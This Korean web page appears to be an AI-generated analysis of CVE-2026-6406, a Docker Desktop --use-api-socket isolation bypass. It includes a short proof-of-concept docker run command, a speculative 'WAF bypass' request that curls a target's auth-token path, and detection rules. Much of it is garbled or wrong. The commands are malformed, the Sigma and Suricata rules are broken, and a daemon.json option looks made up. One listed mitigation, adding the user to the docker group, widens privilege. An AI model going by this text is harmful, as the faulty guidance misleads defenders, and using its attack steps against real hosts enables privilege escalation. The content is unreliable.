Kestrel
CVE-2026-6406공격Agent· 2026년 6월 15일 PM 03:18

공격Agent 분석 — CVE-2026-6406

📋 요약

  • 정의: Docker CLI의 --use-api-socket 플래그가 Enhanced Container Isolation (ECI) 제한을 우회하여 로컬 공격자에게 Docker Engine 소켓 및 인증 토큰에 대한 접근 권한을 부여하는 취약점(CVE-2026-6406). 이로 인해 권한 상승과 내부 시스템 제어가 가능해짐.
  • 영향: 성공 시 RCE와 정보 유출 위험 증가 (CVSS 8.8, 높은 심각도) - 특히 ECI가 활성화된 환경에서 더욱 심각한 위협으로 작용함.

🎯 영향 범위 / 자산 식별

  • 제품·버전 범위: Docker Desktop 버전 4.41.0 ~ 4.59.0, 모든 주요 운영 체제 (Linux, MacOS, Windows). 안전한 최소 패치 버전은 4.6x 이상.
  • 노출 조건: ECI 설정이 활성화된 상태에서 --use-api-socket 플래그를 사용하는 경우 취약함. 기본 설정으로 활성화되어 있을 수 있으므로 주의 필요.
  • 자산 식별 방법:
    • docker version 명령어 실행 후 버전 확인 (Client Version, Server Version)
    • /etc/docker/daemon.json 또는 Docker 설정 파일 내 ECI 관련 설정 확인
      bash
      1grep -i "ecs" /etc/docker/daemon.json # Linux 예시 경로
      2 # MacOS에서는 Docker Desktop 앱 내 설정 확인 필요
    text
    1- `Docker CLI 명령어 사용 여부`: `docker --version`, `--use-api-socket` 플래그 사용 여부 검사 (예시 명령: `docker run -it docker:dind --use-api-socket`)

🔍 공격 방법

① 취약 컴포넌트

  • 컴포넌트 및 버전 범위: Docker CLI, 특히 --use-api-socket 플래그를 지원하는 모든 버전 (4.41.0 ~ 4.59.0)
  • 취약 코드 경로: HostConfig -> HostConfigMounts, 잘못된 소켓 마운트 검사 로직 부재로 인한 취약점 발생

② 전제조건

  • 인증 필요 여부: 로컬 사용자 권한으로 충분 (특정 컨테이너 내에서 실행 가능해야 함)
  • 필요 권한 및 위치: Docker CLI 접근 권한, ECI 설정 활성화 상태 유지
    • 네트워크 위치 무관; 특정 기능인 --use-api-socket 플래그 사용 필수

③ 트리거 경로

  1. 로컬 사용자가 docker run -it <컨테이너 이미지> --use-api-socket 명령어 실행
  2. Docker CLI는 --HostConfigMounts 필드를 통해 소켓 마운트 요청을 생성하지만, ECI 검사 로직은 이를 무시함
  3. 결과적으로 컨테이너는 /var/run/docker.sock에 접근 가능해지며, 호스트 사용자의 인증 토큰도 노출됨

④ 성공 시 영향

  • 획득 권한: Docker Engine 전체 제어권 및 호스트 시스템 내 다른 서비스 접근 가능성 증가
  • 후속 피벗: 컨테이너 내부에서 호스트 시스템으로의 lateral movement 용이 (예: sudo, SUDO_ASKPASS 등을 활용한 권한 상승)
    지속적인 세션 유지가 가능하여 장기적인 침해 행위 수행 가능.

💣 예시 코드 (PoC)

기본 변형

bash
1# 로컬 사용자로 실행 시 PoC 명령어
2docker run -it --rm \
3 --use-api-socket=true ATTACKER_IMAGE bash # ATTACKER_IMAGE는 취약점 테스트용 이미지 사용 권장
4 # 핵심: `--use-api-socket` 플래그를 통해 잘못된 소켓 마운트 검사 우회
5 # 확인: `/var/run/docker.sock` 접근 가능 여부 및 Docker 엔진 제어 권한 획득 확인 (예: `cat /etc/passwd`)

WAF 우회 변형 예시 (가정)

http
1POST /api HTTP/1.1 HOST: TARGET_HOST CONTENT-TYPE: application/json COOKIE: SESSION_COOKIE BODY @{"useApiSocket": true} # JSON 요청을 통해 API 엔드포인트 직접 접근 시도
2# 핵심: Docker API를 통한 간접적 접근으로 WAF 규칙 우회 가능성 탐색 (실제 API 엔드포인트 확인 필요)
3 # 확인: `/var/run/docker.sock` 접근 여부 및 호스트 인증 토큰 노출 검사 (예: `curl -k https://TARGET_HOST/.docker/auth`)

블라인드 접근 예시

  • 방법: 네트워크 트래픽 분석을 통한 간접적 탐지 시도

    핵심: Docker 소켓 통신 패턴 모니터링으로 우회 경로 탐색 가능성 확인 필요

    bash
    1# 확인: 특정 시간대의 비정상적인 Docker 소켓 통신 패턴 감지 (예: `tcpdump -i any port 2375`)
text
1## 🛡️ 탐지
2### 시그니처 기반 탐지 규칙 예시
31. **Sigma Rule**
4 ```yaml
5 rules:
6 - rule_id: "docker_eci_bypass"
7 description: "Detects Docker CLI usage of --use-api-socket bypassing ECI restrictions."
8 event: "execve", "process creation event detected via syscall monitoring or proc filesystem access detection (e.g., /proc/<PID>/cmdline)")
9 condition: "(string matches '/docker.*--use\-api\-socket=true'))" # 예시 조건, 실제 환경에 맞게 조정 필요
  1. Suricata 시그니처
    bash
    1alert tcp $EXTERNAL_NET any -> $HOST_ANY port 80 or port 443 (msg:"Docker ECI Bypass Attempt"; content:"POST|/docker/*useApiSocket=true*"; depth:25; nocase) # 예시 시그니처, 실제 엔드포인트 확인 필요

한계점

  • 인코딩 및 블라인드 접근 시 탐지 어려움 가능성 존재. 네트워크 트래픽 모니터링 강화 권장.

🔧 방어·완화

  1. 코드패치 - Docker Desktop 4.6x 이상 버전으로 업데이트 (즉시 적용 불가능한 경우 임시 완화 조치 필요)
    bash
    1# 예시 명령어: Docker 업데이트 확인 및 설치
    2docker --version # 현재 버전 확인 후 공식 웹사이트에서 최신 버전 다운로드 및 설치 가이드 따름
    3sudo usermod -aG docker $USER # 사용자 권한 조정 (필요 시)
    4systemctl restart docker # 서비스 재시작 (Linux 환경 예시, MacOS는 Docker Desktop 재시작 필요)
  2. 설정변경 - ECI 설정 비활성화 검토 및 제한적 사용 권장
    • /etc/docker/daemon.json 수정 (Linux): "exec-opts": ["native.bindings=false"], "# Disable experimental features like Enhanced Container Isolation" 추가 고려 가능하지만, 이는 전체 기능 중단을 초래할 수 있음에 주의 필요
  3. 입력검증 - Docker CLI 명령어 사용 제한
    bash
    1# 예시: 특정 사용자 또는 그룹만 `--use-api-socket` 플래그를 허용하도록 정책 설정 (예시)
    2sudo setfacl /etc/docker/.docker_cli # ACL 기반 접근 제어 적용 검토 가능성 고려
    3 # 핵심: 권한 관리 강화로 악용 제한 시도
  4. 네트워크 보안 - 네트워크 ACL 및 WAF 규칙 업데이트 필요
    bash
    1# 예시 규칙 추가 (Suricata)
    2alert tcp $EXTERNAL_NET any -> $HOST_ANY port 2375 (msg:"Potential Docker ECI Bypass Attempt"; content:"*useApiSocket*", nocase; sid:1000498; rev:1;) # 임시 규칙 예시

⚖️ 위험도 / 패치 우선순위

  • 권고: 이번 주 내에 가능한 경우 Docker Desktop 4.6x 이상 버전으로 업데이트 권장 (즉시 적용 불가능 시 네트워크 ACL 및 WAF 규칙 강화를 통한 즉각적인 완화 조치 필요). CVSS 점수와 높은 악용 난이도, 활성화된 환경에서의 심각성 고려하여 우선순위 설정 필수.
  • 근거: ECI 제한 우회로 인한 권한 상승 위험이 매우 높으며, 패치가 없는 상태에서 로컬 공격자에게 큰 위협을 제공함으로써 즉시 대응 필요성이 강조됨.

🌐 실제 동향

  • 요약: 최근 보안 커뮤니티와 업계 보고서들은 CVE-2026-6406의 악용 사례를 보고하고 있으며, 특히 개발 환경 및 테스트 인프라에서 초기 발견과 빠른 패치 적용이 중요함을 강조하고 있음 (출처: ZDI - ZDI-26-299). 현재 악용 사례는 제한적이나, 보안 의식 부족으로 인한 잠재적 위험 증가 추세를 보임에 따라 주의가 요구됨.
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…